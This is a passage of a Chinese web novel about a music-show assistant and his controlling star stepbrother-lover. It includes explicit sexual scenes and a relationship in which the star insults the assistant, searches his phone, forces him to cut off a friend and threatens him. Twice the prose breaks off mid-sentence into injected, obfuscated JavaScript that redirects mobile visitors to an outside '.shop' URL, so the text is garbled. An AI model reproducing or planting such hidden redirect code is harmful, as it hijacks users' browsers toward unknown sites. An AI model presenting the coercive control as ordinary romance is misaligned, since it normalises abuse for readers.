伸手抓过放在浴缸边沿的手机,看到来电人是盛朗。 宋鹤清也看到了,心下一紧,立马捂住被吻得红肿的嘴唇,生怕泄露一丝异常的声音。 盛灼坐在浴缸里,眼神示意宋鹤清自己上来。 宋鹤清看了眼来电人,内心犹豫挣扎,但看见盛灼警告的眼神,不敢不从,依言照坐。 盛灼接听电话,不耐烦道:【什么事?】 电话那头传来盛朗低沉的声音:【这么晚了,在干什么?】 盛灼忽然坏笑一声,混不吝道:【当然是在做治疗。】同时劲腰猛地往上顶。 宋鹤清死死捂住自己的嘴。 他像是坐在烈马上,控制不住马儿,被马儿顶得乱晃,身体几乎快要坐不住。 【这么晚了还在治疗?】盛朗有些怀疑。 盛灼脸上的坏笑加深,他按下扬声器键:【哥哥就在旁边,不信你问他。】 宋鹤清嫣红的眼眶湿漉漉的,他惊愕盛灼竟然让他接听,他现在这状态哪里敢说话。 但盛灼就是存了坏心思欺负他,他此时不得不极力压抑住喉咙里不稳的喘息,让声线尽量听起来平静自然,对着手机说道:【干爹……我,我在给阿啊、阿灼做治疗。】 电话那头的盛朗沉默了片刻,听着有点不对劲,但还是信了:【行吧,本来还想跟小灼谈点事,算了,下次再说。】 通话一结束,盛灼立刻将手机扔到远处。 水面再次激荡起来,比之前更恐怖。 就像是一只小八爪鱼正在海面上和巨兽战斗,虽然看上去力量悬殊,但八爪鱼八只小小的爪子依然不放弃,艰难地包裹巨兽,绞缠巨兽的身体,爪子上的吸盘紧紧吸在巨兽身上,不让巨兽疯狂作乱。 但巨兽已经是究极状态,力量可怕,极攻猛进,势如破竹般将可怜的小八爪鱼鞭挞得崩溃颤抖。 最后巨兽喷发出滚烫灼烧的岩浆,将小八爪鱼吞噬殆尽。 海面终于归于平静。 13. 第13章 【第13章】: 《奇迹之声》综艺节目正式开拍。 录制现场,巨大的圆形舞台被数以百计的灯光笼罩。 背对舞台的五个导师席上,盛灼坐在中间的位置,冷白的灯光打在他棱角分明的侧脸上,仿佛为他镀上一层冰霜。整个人看上去严肃又冷酷。 他比其他四位导师都要年轻很多,但论作品的含金量,却是他最高。 这个节目能请到盛灼,就已经甩了其他音乐综艺很大一截。毕竟盛灼在哪,话题就在哪儿。 通过上半年主办方的层层海选,晋级初赛的一百位选手将在这里进行最严苛的考验。 演唱期间,若在规定时间内有导师认可,导师按下转身按钮,则该选手晋级成为该导师战队的一员,进入下一轮内部淘汰赛。 若无导师转身,则黯然退出。 此时节目正在录制中。前台选手的歌声缭绕,后台导演看着录制显示屏。 宋鹤清安静地站着不远处,目光落在舞台上。 心里感叹这些选手都唱得很不错。不知道谁会成为盛灼战队的一员。真幸运啊,能够被盛灼指导。 不由得幻想如果自己不是天生五音不全,如果自己的嗓音也很动听,或许,盛灼就会愿意给他一点耐心,教他唱歌。或许他在盛灼心里也会有可取之处。 不过陆续有十几位选手登台,盛灼一次也没有转身。他的神情始终没有波澜,手指无意识地在扶手上轻敲,似乎没有能入他耳的歌声。 倒是有几位选手被其他导师看中了。 即便盛灼没有转身,但在每位选手演唱完毕后,其他导师点评后,他也会给出建设性的评价—— “你选择了一首需要人生阅历去沉淀的歌,却被你唱成了一段精致的卡拉OK。这首歌的灵魂是‘故事’,而不是‘炫技’。” “你不是在唱歌,你只是在正确地发声。音乐不是数学公式,不需要一个没有灵魂的机器。” “音准偏差超过百分之十五,副歌部分你比伴奏抢了四分之一拍,这不是紧张可以解释的,是基本功不扎实。” “情感投入过度,技巧无法支撑你的表达,最后一个长音的颤抖是多余的,显得油腻。” 他的点评专业、精准,直指要害,但也格外犀利,让本就紧张的选手更加受挫。 每次轮到盛灼点评,选手们最后一点自信心也没有了。 宋鹤清隔着远远的距离也能感受到那些选手的绝望,有的甚至都在强忍泪水。不由得给他们捏了一把汗。 不过好在主持人张用用高情商发言安抚着这些选手,不至于真的哭出来。 中场休息的提示音响起,紧张的录制氛围稍稍松弛。 化妆师们立刻蜂拥而上,有条不紊地为五位导师补妆、打理发型。 宋鹤清拿起早就准备好的保温杯,里面是温度刚好的润喉茶,快步走到盛灼身边递过去。 盛灼接过,拧开杯盖喝了一口。 半小时的休息时间很快过去,录制继续。 后台再次忙碌起来,几个现场执行工作人员脚步又快又轻地穿梭,搬运着需要的道具。 一个正在搬中型支架的年轻小姑娘脸上累出了红晕,额角沁着汗珠,喘着粗气。 宋鹤清注意到了,主动走上前低声询问:“需要帮忙吗?” 小姑娘一愣,看清是他,有些手足无措:“啊?不、不用了,这怎么好意思……”这可是盛灼的随行助理,怎么能让人家来帮忙呢。 “没关系,举手之劳而已。”宋鹤清微微一笑,已经伸手稳稳地托住了支架的另一头,问道,“放在哪里?” 小姑娘连声道谢,指引着方向。 宋鹤清帮着她将几件道具归位,动作利落,姿态从容。 他穿着简单的白色衬衫和黑色长裤,在略显杂乱的后台,显得有些清隽挺拔,格外引人注意。 “我以为盛老师的助理跟他一样……嗯,不太好接近呢,”小姑娘心里带着感谢,小声和他搭话,脸上带着点腼腆的笑,“没想到你这么平易近人,还热心。真是麻烦你了。” 宋鹤清笑容温和:“这些都是举手之劳,反正我现在也没事干,能帮一点是一点。” “您姓什么呀?我还不知道怎么称呼您呢。”小姑娘觉得他没有距离感,反而很亲切,对他很有好感。 “我姓宋,叫宋鹤清。你叫我小宋就行。” “那怎么行!太不尊重人了,”小姑娘连忙摆手,“叫您宋助理吧?” “没问题。”宋鹤清不在意地笑笑,头顶的光束照在他眼角眉梢,使他整个人看起来格外温柔。 不远处的萧利军看着这边好一阵了。他的目光像黏腻的触手,粘在宋鹤清身上来回扫视。 越看,他眼底的兴趣就越浓。心里也就越痒。 这男人长得实在出挑,不是那种女气的漂亮,而是一种清俊至极的雅致脱俗。有着完全没被污染过的出尘气质。 一米八左右的身高,双腿笔直修长,身材比例近乎完美。腰身细窄却不显柔弱。脖颈线条优美,皮肤白得通透,在灯光下几乎能看到淡青色的血管。 萧利军在心里暗暗啧了一声:真是个难得的尤物。 他甚至都怀疑宋鹤清恐怕不仅是盛灼的助理,而是床上玩物吧…… 但转念一想盛灼那副狂得谁都看不上的样子,仿佛天生缺乏情感神经,又觉得不太可能。 毕竟那位爷眼里除了音乐,怕是没有别的,更别说是个男人了。 宋鹤清搬完东西后额头上冒出一层细密的汗珠。他抬起手用手背轻轻擦了擦。 这时,一道男声在他身旁响起:“宋助理,辛苦了,喝杯咖啡吧。” 宋鹤清转头,看到萧利军递过来一杯星巴克,脸上挂着和善的笑容。他礼貌地接过:“谢谢萧老师。” 萧利军笑眯眯地打量着他,越看越觉得心痒:“宋助理,有没有兴趣参加个恋爱综艺?我正在筹备《甜蜜热恋》第三季,正好缺一位男嘉宾,不知道你有没有意向参加?” 他以为自己抛出了一个极具吸引力的橄榄枝。 《甜蜜热恋》是近两年现象级的爆款综艺,捧红了好几位素人嘉宾,直接打开了进军娱乐圈的捷径。 这对于打工的牛马来说,无疑是一条通天的捷径。他相信,只要有点野心和脑子的人,都不会拒绝。 别人费尽心思都得不到的机会,而他却唾手可得。所以萧利军很有信心。 然而宋鹤清的脸上没有任何他预想中的惊喜或激动,依然是礼貌得体的微笑,并且委婉拒绝了他:“谢谢萧老师,这确实是一个非常好的机会,但我暂时没有这方面的想法。我只想专心做好盛老师的助理工作。” 萧利军脸上的笑容僵了一下,心里顿时有些不爽。 这个机会不知道有多少人想要爬他的床来争取,这个人居然不要? 他按捺住不爽,继续“画饼”,耐心道:“宋助理,以你的外形条件,待在幕后做助理太可惜了。你完全有潜力进娱乐圈当明星。现在圈里正好缺你这款。只要运作得当,爆红指日可待。到时候挣的钱数都数不完,比你当助理打一辈子工挣得都多。” 可宋鹤清的眼神依旧平静淡然,没有丝毫动摇,说:“萧老师,真的非常感谢您的抬爱。但我可能天生不是吃这碗饭的命,您还是把这个宝贵的机会留给更合适的人选吧。” 一瞬间,萧利军心里的无名火蹭地就冒了上来。 他好声好气,给足面子,对方却一而再再而三地拒绝,摆出一副清高自持,视金钱如粪土的样子,倒显得他上赶着献殷勤了? 不识抬举! 萧利军混迹圈内多年,靠的就是人脉和手段,最看不惯这种给脸不要脸的人。 他暗暗冷笑。 不过是盛灼的一个小助理,真拿自己当盘菜了?狗仗人势,竟敢瞧不起他。 等着瞧,不给你点教训,你都不知道你爷爷我是谁。 盛灼的助理又怎样,犯了错还不是会被辞掉,看你还怎么继续在盛灼那里当助理。走投无路的时候,自然会回来求我! 到时候看你还怎么清高,不把你操得哭着求饶我就不姓萧! 节目录制进行到尾声,现场所有人都带着些许疲惫。就在这时,萧利军突然示意暂停录制。 “程导,等一下!”他声音不大,却足以让控制室和现场核心区域的人听清,“20号选手的原创伴奏U盘损坏了,读取不了。” 程和的脸色瞬间沉了下来:“怎么回事?设备组呢?开录前为什么不检查好?!” 道具出问题,对于录制现场综艺节目来说,是非常低级的失误。 萧利军状似无意地开口:“刚才我看那位宋助理不是也帮忙一起搬动道具来着?东西都混在一起,是不是不小心把咖啡洒到U盘上弄坏了?” 一时间,后台不少人的目光都投到了宋鹤清身上。 刚才大家的确看到宋鹤清在帮忙搬东西。 宋鹤清面对众人的目光微微一怔,随即镇定下来。 他上前一步,声音清晰,不卑不亢:“萧老师,我刚才帮忙搬运的都是舞台用的支架和箱体这类大件道具,并没有接触U盘这类小物件。而且我是在搬运工作全部结束后,才接到您给的那杯咖啡。所以,不存在把咖啡洒到U盘上的可能性。U盘损坏,我想应该是其他原因造成的。” 刚才接受他帮助的那个小姑娘张了张嘴,想替他辩解几句,但看着萧利军,又胆怯地低下了头。 她也只是一个打工的牛马,不敢冒头,怕惹得制片人不痛快。 萧利军却不依不饶,语气带着明显的指责:“宋助理,你的本职工作是照顾好盛老师吧?你不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528784|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟前伺候着,跑到后台来瞎掺和什么?这些道具设备是外人能随便动的吗?你自己不小心弄坏了什么,可能当时都没察觉!现在说这些推卸责任的话有什么用?” 宋鹤清的心彻底沉了下去。 他明白了,萧利军这是故意的,就因为刚才自己拒绝了他抛来的橄榄枝,没有给他面子,所以他要用这种方式报复。 宋鹤清抿了抿唇,酝酿着如何继续解释。 程导不耐烦地打断:“行了!无关人员不要随便靠近和触碰现场设备,这是基本规矩。现在说这些也晚了,只能让20号选手等到下一期再录了。” 宋鹤清解释的话堵在喉咙里,他下意识地转头,看向导师席的方向,希望盛灼能为他说一句话。 盛灼注意到这边的情况走了过来。 他脸上看不出喜怒,但那双狭长深邃的眼睛落在宋鹤清身上时,却带着一种让宋鹤清心口发凉的审视。 “你刚才去搬东西了?”盛灼开口,声音冷沉带着责问,“这是你的分内工作吗?” 宋鹤清所有解释的话瞬间被堵了回去。 心脏像是被一只无形的手紧紧攥住,酸涩的感觉弥漫开来。 他垂下眼睫,掩去眸底的情绪,不再发一言。 原来在盛灼眼里,他的主动帮忙,是“不务正业”和“惹是生非”。嫌他影响了节目的录制。 可是他是被冤枉的。 盛灼没再看他,转向工作人员,语气公事公办:“去问一下20号选手,愿不愿意清唱。如果愿意就继续录,不愿意就延期。” 工作人员看向程导,征求程导的意见。 程和皱着眉点了点头。工作人员赶紧跑向候场区。 没过几分钟,工作人员气喘吁吁地跑回来:“导演,盛老师,20号选手说他愿意清唱!” 这时,耳麦里传来导播的声音:“程导,突发状况未必是坏事。这段到时候可以剪辑成:现场突发意外,选手临危不乱,自愿清唱展现真正实力。这样反而能制造看点和危机感,效果可能不错。” 程和的脸色稍霁。 萧利军的表情则不那么好看了,他本想让宋鹤清背黑锅,让盛灼对他产生不满,没想到事情竟然有了转机。 之后录制继续。 20号选手是个看起来有些青涩的大学生。 他站在空旷的舞台中央,看着背对他的五位导师,心里已经对结果不抱什么希望。原本也只是抱着试一试的心态来参赛,毕竟能站上这个舞台,他已经觉得很幸运了。 他深吸一口气,对着话筒轻声说:“各位老师好,我要演唱的是一首我自己原创的歌,叫《风过无痕》。” 没有伴奏,没有和声,只有男生干净剔透的嗓音,在寂静的录制大厅里缓缓响起。 起初,那声音还有些细微的紧张,但很快就稳定下来,并且展现出一种惊人的特质——空灵、纯净,不染杂质。 像是雪山之巅融化的清泉,又像是穿越林间不挟带任何杂质的微风,自由而飘逸,拥有抚平一切焦躁的神奇力量。 更令人惊讶的是他的唱功。 在毫无伴奏的情况下,他的声线稳得可怕,气息悠长,转音自然流畅如呼吸。低音部分沉稳有力。 而当唱到高\潮部分时,他拔起一个高音,那声音仿佛能穿透云霄,带着一种未经雕琢却震撼人心的天赋力量。 天赋,绝对的天赋! 一个导师猛地拍下了按钮,座椅转动! 紧接着是第二个,第三个,第四个…… 当盛灼抬起手,在现场所有工作人员屏息的注视下,按下了那个转身按钮时,后台几乎能听到倒抽冷气的声音。 第五个! 五位导师全部转身! 这是今天录制以来的第一次,也是唯一一次! 男生闭着眼,沉浸在自己的歌声里,直到最后一个音节落下,他才缓缓睁开眼。 看到五张对着他的导师座椅,以及中间座椅上的盛灼时,他激动得手都在颤抖。 简直难以置信。 主持人张用激动地说着:“接下来,不再是导师选择选手,而是选手拥有了反选导师的权力!” 宋鹤清站在后台的阴影里,看着舞台上那激动人心的一幕,心里却像是被什么东西堵着。 那个年轻的男生凭借天赋和实力获得了认可,包括盛灼的认可。 而他……只是一个连帮忙都会惹出“麻烦”的助理。 盛灼审视着舞台上激动得有些不知所措的少年,手指轻轻在扶手上点着,似乎在评估着什么。自始至终他都没有再看向后台,没有再看宋鹤清一眼。 无形的隔阂在这一刻仿佛又悄然加深了一层。 而萧利军站在不远处,看着宋鹤清沉默孤寂的侧影,嘴角勾起一抹冷笑。 事情还没完呢。 14. 第14章 【第14章】: 录制大厅内,灯光璀璨得有些晃目。 主持人的声音透过环绕音响飘在每个角落,带着刻意渲染的激动:“现在来到了激动人心的时刻,天赋型选手郑润星最终会选择哪位导师呢?” 灯光骤然聚焦,一束强光精准地打在舞台中央那个年轻的身影上。 郑润星激动地捂住嘴巴,眼眶瞬间就红了,泪水在强光下闪烁,那是一种近乎眩晕的狂喜。 短暂的静默后,导师席的“抢人战争”打响了。 导师1率先拿起话筒,笑容和煦:“润星,你的声音里有种未经雕琢的纯净。来我的队伍,我希望能够守护这份纯净,让它自然地生长、绽放。” 导师2身体微微前倾:“我听到你的歌声里有故事。我擅长的就是挖掘和塑造故事感,能让你的音乐不止于‘好听’,更有‘灵魂’,我这里绝对是你最好的选择。” 导师3:“你的音域跨度不错,是块好料子,但气息和共鸣还有提升空间。在我这里,我能让你的短板在三个月内有质的飞跃。” 导师4笑着靠在椅背上,语气轻松又带着诱惑力:“现在就缺你这样有灵气的新鲜血液。相信我,我能给你最优质的资源,能让你快速地站上更大的舞台,享受万众瞩目!” 四位导师都抛出了橄榄枝,现场的氛围越发紧张,现在所有的目光都齐刷刷地投向了盛灼。期待着他的反应。 后台处,光线偏暗,录制屏幕散发着冷白的光,将宋鹤清的身影映得有些单薄。他目光落在显示着盛灼的分屏画面上。 镜头里的盛灼完美得毫无瑕疵,仿佛是上帝在心情极佳时,用最苛刻的标准亲手描摹而成。 他的浓颜极有冲击力,眉骨清晰,眼眸狭长深邃,鼻梁高挺,下颌线条利落分明,形成一种攻击性的帅。 无论镜头从哪个角度捕捉,他的身上总能给人一种强势的冷酷,疏离又耀眼。 此时他眼里罕见地浮现出一点欣赏之色。 这在一向谁也看不上的盛灼眼里出现,已是极为难得的认可。 不过他没有像其他导师那样表现出求贤若渴的样子,只是微微抬了抬下颌,言简意赅地说:“刚才在听的时候,我心里已经写好了为你量身定制的曲子。” “啊——!” 郑润星瞬间失态了,无法抑制地尖叫了一声,充满了难以置信的狂喜。 他甚至忘了流程,忘了其他四位导师还在场,直接看向主持人,语无伦次地喊道:“我选盛老师!我选盛老师!” 张用有一瞬间的尴尬和无奈,没想到这个男生情商竟这么低,连最基本的场面话都不说,比如什么感谢其他导师的青睐,但是我怎么怎么样……这样简单陈述选择理由都省略了。 这无异于当众打了另外四位导师的脸。 多令人难堪。 但多年的主持经验让他迅速调整好表情,轻松地打圆场,试图化解这尴尬:“哎呀,看来我们润星是盛老师的铁杆粉丝啊!这一听到偶像的邀请,直接就‘叛变’了,连犹豫都不带的!既然是粉丝的话,那就能理解了。让我们也感谢其他四位导师的青睐,谢谢你们对润星的肯定,希望未来还有合作的机会!” 这番话四两拨千斤,巧妙地将郑润星的失礼归结于“粉丝心态”,既给了四位导师台阶,也保住了郑润星的体面,化解了现场的尴尬气氛。 终于,第一期录制有惊无险地结束,郑润星成了盛灼战队里第一位成员。 宋鹤清看着郑润星那张年轻稚气的脸上,洋溢着几乎要溢出来的幸福笑容,眼里的光亮得晃人。心里有点复杂情绪,混杂着羡慕和嫉妒。 羡慕郑润星能如此轻易地得到盛灼的青睐,羡慕他能被盛灼放在眼里。 嫉妒他能轻而易举得到盛灼亲手写的曲子。 在歌坛谁不知道盛灼的作品意味着什么? 那不仅仅是旋律,是点金之手,是直通青云的阶梯。 盛灼不仅有唱歌天赋,更有谱曲天赋。他写一首,爆红一首,多少歌手捧着重金都求而不得。 宋鹤清几乎可以预见,郑润星凭借着“盛灼战队成员”这个头衔,再加上那首量身定制的歌曲,必将在群星璀璨的歌坛里有一席之地。 “收工!” 随着导演一声令下,所有工作人员都松了一口气,嘈杂声四起,开始快速地拆卸设备,整理道具。 宋鹤清拉回自己的思绪,眨了眨眼,强迫自己将那不合时宜的嫉妒压下去。不让任何人察觉。 他拿起盛灼的水杯朝着舞台的方向走去。 但还没走近就看到郑润星站在盛灼身边,脸上带着毫不掩饰的崇拜,和小心翼翼的讨好。 此时正双手合十求盛灼跟他合影。眼神里满是期待。 宋鹤清的脚步倏地顿住,站在原地安静等待,不去打扰他们合影。 合影时,盛灼依旧是那副没什么表情的冷酷模样,双手随意地插在黑色工装裤的裤兜里。 郑润星则笑得无比灿烂,露出一口白牙。他比盛灼矮了大半个头,拍照时小心翼翼地将头歪向盛灼那边。 那份亲昵让宋鹤清心里那片湖又开始泛滥酸涩。 他强迫自己维持得体的表情。嘴角僵硬地勾起淡淡的笑。 终于合影结束,郑润星激动地翻看手机照片。 宋鹤清深吸一口气,快步上前,将水杯递给盛灼。轻声说:“盛老师,喝水。” 盛灼随手接过喝了几口。喉结随着吞咽的动作滚动,线条锋利而性感,带着一种漫不经心的慵懒。 “回酒店吗盛老师?”宋鹤清低声询问。 “嗯。”盛灼没什么情绪,迈步离开。 就在两人转身离开时,郑润星又急切地追了上来,带着莽撞的勇气说:“盛老师,我、我能加您微信吗?这样我们以后讨论曲子什么的,也方便一些。我、我真是太激动了,我没想到能成为您的学员!您是我最喜欢的歌手,没有之一!我每天都会听您的歌,我真的、真的太喜欢您了!” 他语速飞快,脸颊因激动而涨得通红,眼神炽热得像两簇小火苗,满是赤诚与崇拜。 宋鹤清的心瞬间紧绷起来。他恰到好处地插话,带着微笑,语气温和:“你好润星,我是盛老师的助理。盛老师平时工作繁忙,所以你和盛老师之间的所有工作事宜,都由我来负责通知和协调。” 他一边说着,一边调出微信二维码:“你加我的微信就好,有任何事情都可以直接找我。我会及时转达给盛老师。” 郑润星眼里的光黯淡下去。他蔫蔫地“哦”了一声,有些不情愿地扫了宋鹤清的微信二维码。 盛灼对此没有任何表示,继续迈步。 宋鹤清暗暗松了口气,对郑润星礼貌地点点头,转身跟了上去。 后台区域,工作人员们仍在井然有序地忙碌着,身影不断穿梭。 导演和制片人等人还聚在主显示屏前,讨论着刚才录制的回放片段。导演对刚才的录制还比较满意。 “萧制。” 一道低沉磁性的嗓音突兀地响起,带着冷意,在嘈杂的后台显得格外清晰。 萧利军原本在弯腰看着屏幕,闻声立刻转过头,仰视着不知何时站到他身后的盛灼。 他很疑惑这位祖宗为什么会突然来找自己。但面上迅速堆起讨好的笑容:“在的在的,盛老师有什么指示?” 盛灼双手抱臂,眼里没什么温度,高大的身形让他居高临下地俯视萧利军,极有压迫感,说:“我哥哪里得罪了你,还是,我哪里得罪了你?需要我给你道歉吗?” 哥? 萧利军讨好的笑容缓缓僵住。 他浑身汗毛倒竖,起了一层鸡皮疙瘩。 周围原本还在忙碌的导演和其他工作人员,感到有点不对劲了,动作都不约而同地慢了下来,齐刷刷地看向这边。 刚跟上来的宋鹤清也愣在了原地,完全没料到盛灼会突然来找萧利军。 他以为下午那场“意外风波”已经随着录制的顺利完成而轻拿轻放地过去了。而且这风波最后还成了节目的一个看点。 此时萧利军颤巍巍站直身体,目光慌乱地看向盛灼身后站着的宋鹤清。猛地明白过来这就是网上那位传说中的盛灼的继兄! 吓得他有些腿软。 这下是真踢到铁板了。 萧利军额头上瞬间渗出了冷汗,说话变得结结巴巴,十分惶恐:“盛、盛老师,误会!天大的误会!您看我……我年纪大了,记性不好,有时候脑子糊涂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528785|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,办事不周到!那突发意外绝对不关咱哥的事!都是我的错,我的责任!您千万消消气,我跟你道歉,郑重道歉!也给咱哥道歉!” 他边说边忙不迭地对着盛灼和宋鹤清的方向鞠躬,那副点头哈腰的样子,在众目睽睽之下显得格外窝囊。 “对不起宋助理,您千万别跟我一般见识!”他懊恼万分。 宋鹤清站在原地一言不发,心情复杂难言。 他并不喜欢这种被架在高处的感觉,尤其是以“盛灼继兄”的身份。他并不想被更多人知道。 知道的人越多,他内心的羞愧就越多。因为他和盛灼是不能为外人道也的禁忌关系。 周围那些人探究、惊讶、甚至了然的目光,像细针一样扎在他身上。 他之前只是娱乐圈边缘八卦里一个模糊的影子,如今却在这工作场合,被盛灼以如此强势的方式,刷新了“继兄”的存在感。 盛灼懒得再多看萧利军那张讨好又油腻的脸,脸上满是嫌恶,转身离开了。 宋鹤清没有说话,紧随其后。 原本心里那些酸涩的感觉消了不少。至少盛灼还是在某种程度上护着他的。 对他而言,就够了。 他不敢,也不能再奢求更多。 只是当晚,盛灼真的在给郑润星写曲子。 总统套房的卧室里,宋鹤清默默地坐在床头,房间里只开了一盏昏暗的床头灯。 他知道盛灼写的是给郑润星量身定做的曲子。 郑润星能轻而易举就得到盛灼亲手写的曲子。而那首《晨光里的悄悄话》,却是他提了好几年才得到的。 要怎样说服自己,才能压下心底那疯狂滋长的嫉妒藤蔓。它们缠绕着他的心脏,越收越紧,几乎让他喘不过气。 手机屏幕在此时突然亮起。 消息提示音在安静的房间里格外明显,将他从窒息的思绪中猛地拉回现实。 打开一看,是高叙林发来的信息:【清清哥,你今天又没回家吗?我都等你好几天了。白天盼,晚上盼,清清哥就是不回家。】 是高叙林惯有的撒娇语气,宋鹤清紧绷的神经松弛了些,心情也好了不少。 他唇角扬起一抹微笑。回复道:【抱歉,忘了跟你说,我要出差一个月,下个月才能回来。】 【一个月啊,也太久了吧!】高叙林立刻发来一个嚎啕大哭的表情。又说:【这么久不见,我会很想很想清清哥的。白天想,晚上想,吃饭想,睡觉也想,天天都想!】 宋鹤清被男孩子的直白和可爱感染到,连眼底都漾开了温柔的笑意:【是我的错。作为补偿,等我回来给你带礼物,好不好?】 【礼物什么的有也行,没有也行啦~】高叙林很快回道,【清清哥只要在外面也偶尔想想我就行,早点平安回来,就是最好的礼物啦~】后面紧跟了一个胖乎乎的小熊抱着蜂蜜罐跳舞的可爱表情包。 真是太可爱了。 宋鹤清看着屏幕上那只快乐旋转的小熊,仿佛看到了高叙林本人在他面前手舞足蹈的样子,低沉的心情被驱散了大半。 随后,高叙林又发来一张照片。 是在健身房的镜前自拍,手机恰到好处地遮挡住了脸部,只露出线条流畅锋利的下颌和清晰凸起的喉结,一滴汗珠正顺着喉结往下滑落。 他穿着白色的工字背心,被汗水浸湿后,紧裹着饱满贲张的胸肌和块垒分明的腹肌,透出若隐若现健康的肉/色。 隔着屏幕都能感受到刚运动完的蓬勃燥热的荷尔蒙气息,像一头充满力量的年轻豹子。 与跟他发的消息里撒娇的语气形成了极其鲜明的反差。 高叙林:【报告清清哥!我今天在健身房特别注意了两边肌肉力量的平衡训练,严格按照你教的方法!】 【清清哥,你看我练得怎么样?[期待.jpg]】 宋鹤清仔细看了看照片,认真地回复鼓励道:【练得很好,肌肉线条很漂亮。我很羡慕你这样的身材。】 他信息刚发出去,卧室外连着的书房里传来盛灼极其不耐烦的声音:“吵死了!大晚上跟谁聊这么久?把声音关了。” 宋鹤清心尖一颤,他立刻关了消息提示音,连同自己那点刚刚复苏的轻松情绪,一起关在了沉默里。 15. 第15章 【第15章】: 宋鹤清和高叙林说自己困了,然后把手机息屏放在床头柜上。掀开被子慢慢缩进去,像一只蜗牛退回自己的保护壳中。 没过多时,门外脚步声由远及近,每一步都踩在宋鹤清的心跳上。他下意识地屏住呼吸,将自己蜷缩得更小。 盛灼进来,没有开顶灯。 卧室里一盏昏暗的床头灯微弱地照亮卧室。 暗色中,盛灼高大的身影极具压迫感,径直走向床头柜,拿起宋鹤清的手机,指纹解锁打开。 屏幕冷白的光映在他脸上,这张让无数粉丝为之疯狂的脸此刻透着森寒,令人害怕。 “果然又是在跟这个傻逼聊天。”盛灼冷笑一声。 他把手机扔到宋鹤清枕头上:“这人天天搔首弄姿秀肌肉,你还看得很起劲。你就这么饥渴,一个男人不够还想几个男人?”盛灼的话像刀子,一刀一刀剐在宋鹤清心上。 宋鹤清攥紧被角,手抖得厉害。 他没有这么想过,从来没有。 他只是在和人正常交流而已。 “你不会以为这傻逼喜欢你吧,”盛灼俯身,隔着被子对着宋鹤清低语,像恶魔低语,“他不过是几把硬了随便找人聊/骚,恰好你回复他了而已。你看看你自己,三十几岁了,又老,又丑,性格又不讨喜,除了我,谁会想上你?” 宋鹤清死死闭紧眼睛,长睫颤抖。不敢有任何动作,连呼吸都放得极轻。心里难受得厉害。 他很害怕盛灼骂他、指责他、批评他。 十年来,这种恐惧越来越强烈,身体会应激般地颤抖,根本控制不住。 “把他删了!”盛灼下达着最后的通牒。 宋鹤清在被子下的手还在抖,不敢伸出来,怕被盛灼发现。 但这犹豫在盛灼眼中却被解读为反抗和不愿意。 盛灼怒意更明显了,威胁道:“如果明天我再看到你跟这个傻逼聊天,我会亲自给你删掉。” 宋鹤清沉默着,眼泪无声地浸湿了被角。 次日,《奇迹之声》录制现场。 宋鹤清跟在盛灼身后入场,像一道沉默的影子。 现场工作人员依旧忙碌,但再没人敢让他帮忙做任何事。 导演和制片人见到他们,立刻堆起讨好的笑容打招呼。宋鹤清礼貌回应。 今天和之前不同,今天时不时有人向宋鹤清献殷勤,一会儿给他端水,一会儿给他端凳子,一会儿给他买咖啡。 宋鹤清不喜欢这样的感觉。他知道这一切都是因为盛灼,别人才这么殷勤地讨好他。 “不用了,谢谢。”他一一拒绝所有示好。变得更沉默了。 中午休息时间有两个小时。 工作人员们在后台场地坐着休息,吃盒饭,聊天。 五位导师则各自回到安排好的独立休息间。 宋鹤清陪同盛灼走进休息间。房间宽敞明亮,有沙发、餐桌、专业的化妆台、衣柜、独立的浴室和一台大屏电视。 盛灼坐在化妆台前的椅子上,宋鹤清站在他身后开始为他按摩头部的穴位,然后是肩颈。 他的手指修长白皙,力道恰到好处。 曾几何时,这双手是用来治病救人的,如今却只服务于一个人。 盛灼闭着眼享受了一会儿,突然睁开眼,透过镜子直视宋鹤清低垂的眼眸。 “手机给我。”他伸出手,掌心向上。 宋鹤清的动作顿了一下,几乎难以察觉。随后他顺从地从口袋里掏出手机,放在盛灼手上。 盛灼拿着他手机打开聊天软件,检查是否删掉了那个傻逼。 果然删掉了。 他满意地哼了一声,将手机随手扔到化妆台上,发出清脆的碰撞声。 “去把门锁上,我要休息了。”盛灼吩咐道。 宋鹤清依言去锁门。然后又从柜子里拿出薄毯放在沙发上,准备给盛灼盖上。 盛灼走过来,突然捏住他下颌,迫使他抬头看自己:“怎么,让你删他你不情愿?” “没有阿灼。”宋鹤清敛眸。 其实他只是删了微信上的高叙林。 删之前也跟高叙林说了,他要删掉他。 说的时候心里很难受,感觉很愧疚。 当时高叙林问他:【为什么?】 他难以回复,说不出口那个真实的原因。 不过高叙林也没有追问,反而体贴地说:“没关系的清清哥。你不要有心理负担,不想说原因,我也不会追问的。我们可以在其他软件上聊天,比如支付/宝。” 宋鹤清心里稍微好受点了,答应可以。 然后就删了高叙林微信。点开支付宝,点开高叙林的聊天框:【抱歉,真的非常抱歉。】 高叙林依然表示没有关系。 此时盛灼看着宋鹤清这清冷的脸,心里有一股恶劣的欲/望在升腾,想要看到宋鹤清在自己身下求饶的样子。想要宋鹤清暴/露出骨子里的放浪,想要看到这极致的反差感。 于是他低头重重吻了下去,强势地撬开对方的唇齿,咬着柔软的嘴唇和舌头厮磨,攫取甜美的滋味。 这个吻毫无温柔可言,更像是惩罚和宣誓主权。 